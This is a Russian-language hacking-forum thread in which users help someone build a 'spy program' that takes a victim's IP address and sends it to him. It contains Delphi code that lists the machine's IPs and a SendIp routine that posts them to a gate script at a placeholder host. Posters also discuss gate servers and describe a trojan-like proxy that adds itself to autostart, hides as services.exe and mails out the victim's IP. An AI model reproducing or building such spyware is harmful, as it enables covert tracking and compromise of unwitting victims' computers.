Программа шпион

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Sunstrider, 22 Apr 2010.

  1. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Народ 3 дня гуглил не нашел,как сделать чтобы прога читала ип жертвы и сливала мне на почту
     
  2. ShkiperLol

    ShkiperLol Banned

    Joined:
    17 Apr 2010
    Messages:
    182
    Likes Received:
    1
    Reputations:
    0
    что тут писать ? Узнаеш IP и через smtp .
    на C# пишется за 5 мин.
     
  3. xafon

    xafon New Member

    Joined:
    2 Dec 2009
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    узнаем ip, думаю с отправкой на мыло труда не составит.
    WinSock:
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    type
     InAddr = Array[0..10] of PInAddr;
     TInAddr = ^InAddr;
    var
     Host: PHostEnt;
     pPtr: TInAddr;
     Buffer: Array[0..63] of char;
     i: Integer;
     Socket: TWSAData;
    begin
      ListBox1.Clear;
      WSAStartup( $101, Socket );
      GetHostName( Buffer, SizeOf( Buffer ) );
      Host := GetHostByName( buffer );
      if Host = nil then Exit;
      pPtr := TInAddr( Host^.h_addr_list );
      i := 0;
      while pPtr^[i] <> nil do
      begin
         ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );
         Inc( i );
      end;
      WSACleanup;
    end;
     
  4. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    для меня это жуть,а через ид хттп мож реализовать +
     
  5. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    575
    Likes Received:
    48
    Reputations:
    0
    уж не так то это и сложно))

    Code:
    
    uses idHTTP;
    
    ........
    
    Function LocalIP : string;
    type
      TaPInAddr = array [0..10] of PInAddr;
      PaPInAddr = ^TaPInAddr;
    var
      phe  : PHostEnt;
      pptr : PaPInAddr;
      Buffer : array [0..63] of char;
      I    : Integer;
      GInitData      : TWSADATA;
    
    Begin
      WSAStartup($101, GInitData);
      Result := '';
      GetHostName(Buffer, SizeOf(Buffer));
      phe :=GetHostByName(buffer);
      if phe = nil then Exit;
      pptr := PaPInAddr(Phe^.h_addr_list);
    //    Phe^.h_addr_list - должен содержать IPдля всех интерфейсов.
      I := 0;
      while pptr^[I] <> nil do begin
    // приводим их по очерёдности к нормальному виду
        Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ;
        Inc(I);
      end;
      WSACleanup;
    End;
    
    
    // процедура для отсылки Ip на гейт
    
    procedure SendIp;
    var
      HTTP : TidHTTP;
      Str : TStringList;
    begin
      HTTP := TidHTTP.Create(nil);
      Str := TStringList.Create;
    
      Str.Add('ip=' + LocalIp);
      HTTP.Post('http://somesite.ru/gate.php', str);
    
      Str.free;
      HTTP.Free;
    end;
    
    
    end;
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос.
    В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны
     
  7. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 [stranger] ну по этому и юзаются гейты и потому подобные прелести.
    Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.
     
  9. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    естественно, я просто подчеркнул недостаточность определения айпи локально.. :)
     
  10. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Так,какой вариант вы советуете гет или пост
     
  11. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
  12. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Спасибо,сейчас попробую
     
  13. Ar2r

    Ar2r New Member

    Joined:
    23 Apr 2010
    Messages:
    20
    Likes Received:
    2
    Reputations:
    0
    был у меня такой геморой. писал на с++. держи исходник прокси на с++ (codegear c++ 2009)
    софтину писал ещё на 1 курсе, такчто код кривоват
    -прописывается в автозагрузку
    -открывает на компе http прокси
    -определяет локальный ип и отсылает на мыло(smtp)
    -не виден в диспетчере. в процесах прописан как services.exe
     
  14. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    575
    Likes Received:
    48
    Reputations:
    0
    ибо

     
  15. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Red спасиб
     
Loading...
Similar Threads - Программа шпион
  1. Peja
    Replies:
    0
    Views:
    2,976